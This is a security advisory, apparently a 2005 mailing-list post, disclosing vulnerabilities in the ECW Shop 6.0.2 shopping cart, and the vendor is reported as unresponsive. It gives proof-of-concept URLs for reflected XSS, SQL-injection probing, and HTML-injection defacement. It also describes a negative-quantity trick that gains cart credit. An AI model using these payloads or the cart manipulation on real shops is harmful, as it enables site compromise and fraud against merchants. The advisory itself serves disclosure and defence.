Hello All,

I have discovered a number of remote vulnerabilities in: ECW Shop 6.0.2

Authors Site: http://www.soft4e.com/

ECW Shop is described by its authors as:

ECW-Shop - simple for use featured shopping cart with ability to use =
Excel
or Access format for database.

+-[Examples:]--------------------------------------------------+



[1]------------------------------------------------------------+

XSS: (This same problem was reported on version 5.5 by David S. Ferreira =
-
http://www.securityfocus.com/bid/9244)

http://www.victim.com/index.php?c=3D...4ce025144839c=
2abe369c3
6d90d8e9&key=3D1&comp=3D1&min=3D1&max=3D><script>v ar%20xss=3D31337;alert(=
xss);</script
>

[2]------------------------------------------------------------+

Information Disclosure & Possible SQL Injection:

http://www.victim.com/index.php?c=3D...4ce025144839c=
2abe369c3
6d90d8e9&key=3D1&comp=3D1&min=3D'&max=3D1
http://www.victim.com/index.php?c=3D...4ce025144839c=
2abe369c3
6d90d8e9&key=3D1&comp=3D1&min=3D1&max=3D'

Error:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result
resource in /var/www/html/search.php on line 109

[3]------------------------------------------------------------+

HTML Injection:

http://www.victim.com/index.php?c=3D...4ce025144839c=
2abe369c3
6d90d8e9&key=3D1&comp=3D1&min=3D1&max=3D><H1>DEFAC ED!</H1>
http://www.victim.com/index.php?id=3...6d90d8e9&c=3D=
srch&i
d=3D754ce025144839c2abe369c36d90d8e9&key=3D&ctg=3D <H1>DEFACED!</H1>&comp=3D=
&min=3D1&ma
x=3D1

[4]------------------------------------------------------------+

Cart/Order Manipulation:

You can add negative quanity value items to your cart to gain credit.

Example:

Add '-1' of an item with a value of =A34.99 Add '1' of an item with a =
value of
=A36.99

Cart Total: =A32.00

+-[Notes:]-----------------------------------------------------+

Vulnerabilities found on: 06/08/2005
Author(s) Informed on: 06/08/2005
Author(s) Response: NONE
Author(s) Fix: NONE


JohnC@NoBytes.com

http://www.NoBytes.com